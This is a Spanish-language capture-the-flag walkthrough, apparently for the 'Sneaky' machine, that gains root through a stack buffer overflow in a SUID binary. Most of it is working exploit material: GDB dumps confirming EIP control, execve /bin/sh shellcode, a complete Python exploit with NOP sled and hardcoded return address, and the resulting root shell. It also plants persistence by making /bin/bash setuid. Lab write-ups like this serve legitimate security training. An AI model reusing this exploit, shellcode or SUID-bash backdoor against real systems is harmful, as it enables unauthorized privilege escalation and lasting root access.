"ebp            0x41414141          0x41414141" AAAA
esi            0xf7fa9000          0xf7fa9000
edi            0xf7fa9000          0xf7fa9000
"eip            0x42424242          0x42424242" BBBB
eflags         0x10202             [ IF RF ]
cs             0x23                0x23
ss             0x2b                0x2b
ds             0x2b                0x2b
es             0x2b                0x2b
fs             0x0                 0x0
gs             0x63                0x63

AQUI YA TENEMOS EL CONTROL DEL EIP Enumeramos el sistema

thrasivoulos@Sneaky:/$ uname -a
Linux Sneaky 4.4.0-75-generic #96~14.04.1-Ubuntu SMP Thu Apr 20 11:06:56 UTC 2017 i686 athlon i686 GNU/Linux

AHora vamos a buscar nuestro shellcode para que indicandole la direccion en el EIP podamos introducir nuestro shellcode como la siguiente intruccion en la pila a ejecutar.

SHELLCODE PARA LINUX x86 (32BITS) Buscamos x Jean Pascall para lanzarse una /bin/sh http://shell-storm.org/shellcode/files/shellcode-811.php ====== /bin/sh

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   			"\x68\x68\x2f\x62\x69\x6e\x89"
                   			"\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   			"\xcd\x80\x31\xc0\x40\xcd\x80";

Como veiamos que el binario "chal" es SUID y SUIG y como nosotros podemos ejecutarlo, con que nos lance una shell ya lo seriamos root

thrasivoulos@Sneaky:/$ which chal | xargs ls -l
-rwsrwsr-x 1 root root 7301 May  4  2017 /usr/local/bin/chal

PERO y si la maquina tiene habilitada la opcion ARSL(que aletoriza algunas de las direciones de la memoria) Forma de Comprobarlo: Nos fijamos en el output de los comandos aqui abajo y repetimos a ver si son estaticos o dinamicos.

thrasivoulos@Sneaky:/usr/bin$ which chal | xargs ldd
        linux-gate.so.1 =>  (0xb7ffe000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e44000)
        /lib/ld-linux.so.2 (0x80000000)
thrasivoulos@Sneaky:/usr/bin$ which chal | xargs ldd
        linux-gate.so.1 =>  (0xb7ffe000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e44000)
        /lib/ld-linux.so.2 (0x80000000)
thrasivoulos@Sneaky:/usr/bin$ which chal | xargs ldd
        linux-gate.so.1 =>  (0xb7ffe000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e44000)
        /lib/ld-linux.so.2 (0x80000000)

Se ve claro que son ESTATICOS por lo que PERFECTO. Otra Forma:

Siempre que devuelva un 0 es que el asrl no esta activado. Siempre que devuelva un 1 es que el asrl si esta activado.

thrasivoulos@Sneaky:/usr/bin$ "cat /proc/sys/kernel/randomize_va_space "
0

No esta Activado Ahora a NIVEL DE PROTECCIONES DEL BINARIO ¿HAY ALGUNA PROTECCION?

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

Nada no tiene nada activado, nos vamos a un directorio en la maquina victima que tengamos escritura y procedemos con nuestro script en python:

exploit.py

#Para poner la direccion del EIP en Litle Indian
from struct import pack


def bufferOverFlow():

        offset = 362    # el numero hasta antes de sobrescribir el EIP
        junk = "A"*offset # basura
        shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
# NOPS (NO Operation CODE Caracteres) Los calculamos Siempre: Multiplicando por offset y restandole shellcode
        nops = "\x90"*(offset-len(shellcode))
 
 # aqui seguimos sobrescribiendo el EIP con AAAA
 #      payload = nops + shellcode + "\x41\x41\x41\x41"      primer prueba payload para comprobar que el exploit funciona correctamente
        payload = nops + shellcode + pack( "<I", 0xbffff78c)  # Segundo payload, para apuntar un poco mas atras de nuestro shellcode en los NOPS

        print(payload)

if __name__ == '__main__':

        bufferOverFlow()

Aqui procedemos a hacerle la primera prueba a nuestro exploit.py con el primer payload del exploit.py

(gdb) r $(python exploit.py)
Starting program: /usr/local/bin/chal $(python exploit.py)

Program received signal SIGSEGV, Segmentation fault.
"0x41414141" in ?? ()

Vemos que seguimos teniendo el contro del EIP, Perfecto!

Ahora vamos a listar la pila y ver donde esta nuestro SHELLCODE PARA pillar una direccion desde mas atras, en los NOPS y que cuando se ejecute el EIP + la direccion antes de nuestro SHELLCODE se ejecute la /bin/sh

(gdb) x/100x $esp-100
0xbffff50c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff51c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff52c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff53c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff54c:     0x90909090"     0x6850c031      0x68732f2f      0x69622f68
0xbffff55c:     0x89e3896e      0xb0c289c1      0x3180cd0b      0x80cd40c0			nuestro shellcode en litle indian"
0xbffff56c:     0x41414141      0x00000000      0xbffff604      0xbffff610
0xbffff57c:     0xb7feccca      0x00000002      0xbffff604      0xbffff5a4
0xbffff58c:     0x0804a014      0x0804821c      0xb7fce000      0x00000000
0xbffff59c:     0x00000000      0x00000000      0x36fef84f      0x0e617c5f
0xbffff5ac:     0x00000000      0x00000000      0x00000000      0x00000002
0xbffff5bc:     0x08048320      0x00000000      0xb7ff24c0      0xb7e3ba09
0xbffff5cc:     0xb7fff000      0x00000002      0x08048320      0x00000000
0xbffff5dc:     0x08048341      0x0804841d      0x00000002      0xbffff604
0xbffff5ec:     0x08048450      0x080484c0      0xb7fed160      0xbffff5fc
0xbffff5fc:     0x0000001c      0x00000002      0xbffff72f      0xbffff743
0xbffff60c:     0x00000000      0xbffff8b2      0xbffff8c3      0xbffff8d3
0xbffff61c:     0xbffff8e7      0xbffff90d      0xbffff920      0xbffff932
0xbffff62c:     0xbffffe53      0xbffffe5f      0xbffffebd      0xbffffed9
0xbffff63c:     0xbffffee8      0xbffffef1      0xbfffff02      0xbfffff0b
0xbffff64c:     0xbfffff23      0xbfffff2b      0xbfffff40      0xbfffff87
0xbffff65c:     0xbfffffa7      0xbfffffc6      0x00000000      0x00000020
0xbffff66c:     0xb7fdccf0      0x00000021      0xb7fdc000      0x00000010
0xbffff67c:     0x078bfbff      0x00000006      0x00001000      0x00000011
0xbffff68c:     0x00000064      0x00000003      0x08048034      0x00000004

Ahora viendo mas o menos por donde queda nuestro shellcode procederiamos a apuntar a un poco mas atras en una direccion en la que esten los NOPS por si el contenido de los caracteres se desplaza por cualquier causa y que luego nos ejecute nuestro shellcode como EIP(Siguiente Intruccion a Reralizar)

thrasivoulos@Sneaky:/tmp$ chal $(python exploit.py) 
# whoami
root

Ahora procederiamos a hacer un poco de Persistencia y conseguir la flag de root.txt

# chmod 4775 /bin/bash
# exit

thrasivoulos@Sneaky:/tmp$ bash -p
bash-4.3# whoami
root
# cat root/root.txt
c5153d86cb175a9d5d9axxxxxxxxxxxxxx

Maquina Rooteada =) ! Primer Buffer Overflow con Linux x86 !